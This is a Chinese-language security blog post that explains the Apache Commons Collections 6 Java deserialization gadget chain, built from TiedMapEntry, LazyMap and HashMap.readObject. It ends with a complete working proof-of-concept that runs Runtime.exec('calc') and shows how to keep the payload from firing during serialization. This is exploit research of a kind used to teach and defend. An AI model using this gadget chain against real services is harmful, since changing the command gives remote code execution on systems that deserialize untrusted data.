CC6

S1naG0u Lv2

本文分析了Commons Collections 6链的利用原理,通过TiedMapEntry.hashCode()方法触发LazyMap.get()执行InvokerTransformer.transform(),利用HashMap.readObject()在反序列化时自动调用hash()方法触发hashCode()。

危险方法分析

同CC1_LazyMap的相同都是利用InvokerTransformer.transform()

利用链分析

对于寻找对LazyMap.get()方法的调用区别于CC1_LazyMap

此链用到的是TiedMapEntry类的hashcode

1
2
3
4
5
6
7
8
9
public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

hashcode中调用了getValue()getValue()中刚刚好调用了map.get

查看构造方法可以看到这个map是可控的

1
2
3
4
5
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

此处的构造方法是public的所以可以直接在实例化时传入

看到hashcode想到可以类似于URLDNS

直接去看HashMap.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

最后putVal(hash(key), key, value, false, false);处调用了hash

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

此处调用了hashode(),这个key回溯发现即为HashMapkey

所以按理来说利用此POC即可弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> Hashmap = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(Hashmap,chainedTransformer);

TiedMapEntry tiedmapentry = new TiedMapEntry(lazymap, "aaa");

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedmapentry,"bbb");

Serialize(hashMap);
UnSerialize("CC6.bin");
}

利用链构造

但是上述的POC在序列化时就弹了计算器

问题在于在put时就进行了putVal(hash(key), key, value, false, false);

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

URLDNS我们可以先put传入一个没用的东西,在put执行后再反射修改为chainedTransformer

那么此时的POC为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> Hashmap = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(Hashmap,new ConstantTransformer(1));

TiedMapEntry tiedmapentry = new TiedMapEntry(lazymap, "aaa");

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedmapentry,"bbb");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

Serialize(hashMap);
UnSerialize("CC6.bin");
}

但是运行后发现还是没弹计算器

这里我们调试一下发现问题出在了LazyMap.get()

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

hashMap.put(tiedmapentry,”bbb”);时就已经触发了putVal(hash(key), key, value, false, false);导致执行到了LazyMap.get()由此就触发了一次map.containsKey(key)传入的键值对就是TiedMapEntry tiedmapentry = new TiedMapEntry(lazymap, “aaa”);key,使其的值变为true,当反序列化执行时由于触发后导致map.containsKey(key) == true从而不进入if判断

解决办法是在构造payload时利用lazymap.remove();移除此键值对即可绕过

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> Hashmap = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(Hashmap,new ConstantTransformer(1));

TiedMapEntry tiedmapentry = new TiedMapEntry(lazymap, "aaa");

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedmapentry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
Serialize(hashMap);
UnSerialize("CC6.bin");
}
}
  • 标题: CC6
  • 作者: S1naG0u
  • 创建于 : 2025-03-03 21:48:18
  • 更新于 : 2025-08-12 16:17:58
  • 链接: https://s1nag0u.github.io/2025/03/03/CC6/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。